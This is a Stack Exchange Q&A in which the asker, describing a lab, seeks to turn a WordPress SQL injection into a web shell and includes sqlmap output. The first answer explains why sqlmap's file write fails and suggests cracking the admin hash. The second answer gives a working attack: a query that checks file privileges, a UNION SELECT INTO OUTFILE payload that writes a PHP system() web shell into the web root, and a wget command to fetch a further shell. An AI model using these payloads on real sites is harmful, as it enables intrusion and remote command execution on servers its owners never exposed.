Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I found an SQL injection vulnerability in a Wordpress installation inside one of my lab machines and I am trying to leverage it to upload a shell.

I can get the admin hash but it seems that it is quite complex as JTR and HASHCAT are taking long times without luck.

Here is the basic output from SQLmap:

web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA:    True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:                                                                                                                                               
[*] information_schema
[*] mysql
[*] wordpress

I tried --os-shell option but It seems no write access as I get these errors:

[02:26:36] [WARNING] unable to retrieve automatically any web server path

[02:26:36] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique

[02:26:37] [WARNING] unable to upload the file stager on '/var/www'

[02:26:37] [INFO] trying to upload the file stager on '/var/www' via UNION technique

[02:26:37] [WARNING] expect junk characters inside the file as a leftover from UNION query

[02:26:38] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path

I can get --sql-shell without problem. I tried the steps here (http://evilzone.org/tutorials/upload-shell-with-sql-injection/) to upload a shell but I get the following error

[02:00:16] [WARNING] execution of custom SQL queries is only available when stacked queries are supported

Now, I need a way to upload a shell to the target machine, any thoughts? Also any thoughts where I can crack Wordpress admin password hash online?

share|improve this question

2 Answers 2

up vote 2 down vote accepted

First of all if you are debugging a sqlmap failure you need to turn up the verbosity. No one can actually answer this question, because you did not gather the appropriate information.

The --os-shell works for MySQL by attempting to use an into outfile to write a file to the web root. This can fail for any number of reasons. The most common reason being that the database and web server and different machines. Ubuntu's default AppArmor rule sets forbid MySQL from writing to /var/www/. Also, into outfile requires file privileges that should never be granted (but often is). You could try using sqlmap's file-io functionality to read and write to the remote file system.

in the context of this application, dumping the contents of the Wordpress MySQL database will yield the administrator's password hash. Cracking this hash will yield a Wordpress admin account which almost always has the ability to upload and install Wordpress extensions.... or PHP shells.

share|improve this answer
    
AppArmor has made many a pentest quite a bit more difficult for me. I'm glad it's shipped by default for Ubuntu nowadays. –  Anorov Nov 1 '13 at 11:32
    
I already get the admin hash and tried cracking it using hashcat and the recent rockyou dictionary but no luck ! –  Ahmed Taher Nov 3 '13 at 0:30
1  
@Ahmed Taher dude, get a better cracking setup. –  Rook Nov 3 '13 at 18:41
    
@Rook Thanks, please take a look at this post. security.stackexchange.com/questions/57262/… –  Ahmed Taher May 5 at 2:38

Yes, You can write your shell onto the web server with SQL statements without logging into the admin panel or any other control panel.

But for this you have to met certain requirements.

1.Your must have write privileges and a writable directory (where you have to upload your shell) 2.Root Path (i.e /var/www/website/) 3.Magic Qoutes must be enabled

Now Question is how to check if you have write permissions? what you can simply do , you can read file_priv from mysql.user table

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

If it say Y after your current user. then you are lucky and you got write privileges.

Now its time to make use of MySQL statements. We gonna use INTO OUTFILE. So Basically INTO OUTFILE write your selected rows onto a file. the basic syntax is

select column_name from table_name into outfile "filepath/file.extension

Something like this:

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/shell.php"

.

Alright what will it do is it will create a file named shell.php in the website directory and write that php code on it.

and now we can access our shell with

http://website.com/shell.php?cmd=whoami

You can run any command after cmd= .

Now you can download your shell on it using with CURL or WGET (I'm talking about Linux). like

cmd=wget http://website.com/shell.txt -O code.php

and then you can access your shell with

http://website.com/shell.php

Hope you understood everything :)

Thanks, Ammar Brohi Pro SQL Injector

share|improve this answer
    
Thanks...this was really informative. –  Ahmed Taher May 5 at 2:39

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.